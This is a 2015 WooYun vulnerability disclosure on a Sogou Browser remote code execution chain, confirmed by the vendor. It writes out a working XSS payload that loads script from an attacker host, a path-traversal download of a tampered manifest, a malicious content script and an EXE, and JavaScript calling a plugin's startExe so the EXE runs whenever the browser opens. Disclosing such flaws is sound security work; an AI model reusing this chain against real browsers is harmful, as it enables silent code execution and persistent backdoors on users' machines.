当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0114462

漏洞标题:搜狗浏览器某漏洞一日中招后日日皆后门

相关厂商:搜狗

漏洞作者: 路人甲

提交时间:2015-05-16 16:09

修复时间:2015-08-16 15:58

公开时间:2015-08-16 15:58

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-16: 细节已通知厂商并且等待厂商处理中
2015-05-18: 厂商已经确认,细节仅向厂商公开
2015-05-21: 细节向第三方安全合作伙伴开放
2015-07-12: 细节向核心白帽子及相关领域专家公开
2015-07-22: 细节向普通白帽子公开
2015-08-01: 细节向实习白帽子公开
2015-08-16: 细节向公众公开

简要描述:

听说搜狗输入法听歌挺不错。

详细说明:

1. 最新版本5.3.6.16631(上次漏洞版本为:5.2.5.15987),但上一个漏洞并未认真修复。
2. xss虽然修了,但是没修好,依然可以继续利用。比如用来加载一个外部JS:http://x.com/poc/sogou5.2.js
http://v.sogou.com/vc/play/redirect.jsp?url=http://live.wasu.cn/show/id/480').close();function open(){};if(!window._x){window._x=1;var s=document.createElement('script');s.src='//x.com/poc/sogou5.2.js?'%2bMath.random();document.body.appendChild(s);};a=open('a','&type=zhibo_vr&tvstation=%C7%E0%BA%A3%CE%C0%CA%D3
3. window.open("se://...").external 获得高权限external的问题依然没有解决,因此上一个漏洞里的方法依然有效( WooYun: 搜狗浏览器远程命令执行之五 )。
这意味着,依然可以执行到静默安装 com.sogou.cxj009.PicViewer这个扩展,并且该扩展的XSS漏洞并未修复,之前报过的下载任意文件到本地指定目录的缺陷也并未修补( WooYun: 搜狗浏览器远程命令执行之四 )。
4. com.sogou.feichuan默认安装下是1.0.0.23,这个版本下不存在上一个漏洞中所说的命令执行API,但是如果用户安装到1.0.0.26,上一个漏洞依然可以成功被利用。
5. 这里假定用户安装的就是 1.0.0.23 版本的 com.sogou.feichuan,我们不使用飞传这个扩展来进行利用,换一个方式。
6. 方式如下:
A. 利用com.sogou.cxj009.PicViewer的文件下载到任意目录的缺陷 ( WooYun: 搜狗浏览器远程命令执行之四 )。
B. 分别下载3个文件
http://x.com/poc/sogou.xml --> ../..\\Roaming\\SogouExplorer\\Extension\\com.sogou.gamecenter\\1.1.0\\manifest.xml
http://x.com/poc/hehe.js --> ../..\\Roaming\\SogouExplorer\\Extension\\com.sogou.gamecenter\\1.1.0\\hehe.js
http://x.com/poc/calcx.exe --> ../..\\Roaming\\SogouExplorer\\Extension\\com.sogou.gamecenter\\1.1.0\\sogouminigamepacker.exe

第一个文件,用来修改com.sogou.gamecenter这个扩展的 manifest.xml,主要修改2个点,

1是为plugin添加public="true",让该plugin可以暴露给任意页面

<plugins>
<plugin name="npGameCenterLite" path="res/npGameCenterLite.dll" public="true">
<mime_type>application/sogou-start-gamecenter-lite-plugin</mime_type>
</plugin>
</plugins>

2是添加一个content script,让每个网页都会加载hehe.js里的代码

<content_scripts>
<content_script>
<js>hehe.js</js>
<match>*://*/*</match>
</content_script>
</content_scripts>

第二个文件,就是被加载的hehe.js,代码如下:

//在页面内嵌入一个application/sogou-start-gamecenter-lite-plugin
var a=document.createElement("div");
a.innerHTML='<embed id="embed1" type="application/sogou-start-gamecenter-lite-plugin"></embed>';
document.body.appendChild(a);

//在页面内调用 application/sogou-start-gamecenter-lite-plugin 的 startExe 执行指定路径的exe
//现在版本的com.sogou.gamecenter的startExe函数的第一个参数已经改为了目录路径,会执行此目录下的sogouminigamepacker.exe
var b=document.createElement("script");
b.innerHTML='document.getElementById("embed1").startExe("../../Roaming/SogouExplorer/Extension/com.sogou.gamecenter/1.1.0/\\u0000","/popgame ",function(){})';
document.body.appendChild(b);

第三个文件,就是需要被hehe.js里的代码所执行的 sogouminigamepacker.exe

C. 当用户访问一次 攻击页面后, 攻击者会释放 以上3个文件,
当用户下次打开浏览器时,任意打开一个页面,就会调用 hehe.js 这个content script,然后利用被public的 application/sogou-start-gamecenter-lite-plugin 的startExe函数来执行所下载的sogouminigamepacker.exe。

过程如下图所示:

pic.png


7. 具体利用流程:
http://x.com/poc/sogou_combine2.htm
|
http://v.sogou.com/vc/play/redirect.jsp (XSS漏洞)
|
http://x.com/poc/sogou5.2.js (调用)
|
window.open("se://sidebarextmanager/index.html").external.extension("installExtFromSidebarBox", "com.sogou.cxj009.PicViewer",...) (调用高权限external安装com.sogou.cxj009.PicViewer)
|
http://v.sogou.com/vc/play/redirect.jsp (再次利用这个XSS漏洞)
|
http://x.com/poc/sogou5.3.js (调用)
|
se-extension://ext-1588466412/v.html (利用com.sogou.cxj009.PicViewer的XSS漏洞及download API)
|
document.getElementById("picdownloader").download (步骤6中的三个下载过程)
|
用户下次使用搜狗浏览器时,执行上一次埋下的EXE。
7. 最终利用效果如下:

1.png


2.png




漏洞证明:

见详细说明。
其中,测试代码中,com.sogou.gamecenter 是1.1.0版本,现在已经有新的1.2.0版本了,但是这并不影响文中的利用方式。只需要把sogou.xml里的版本号以及利用代码路径中的1.1.0 都改为1.2.0即可。

修复方案:

根据详细说明来进行修复。
主要依然是对 window.open("se://...").external 的修复,另外防止这类恶意修改manifest.xml的行为,应该对 manifest.xml 做改动检查。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-05-18 15:57

厂商回复:

感谢支持!欢迎到SGSRC提交漏洞!

最新状态:

暂无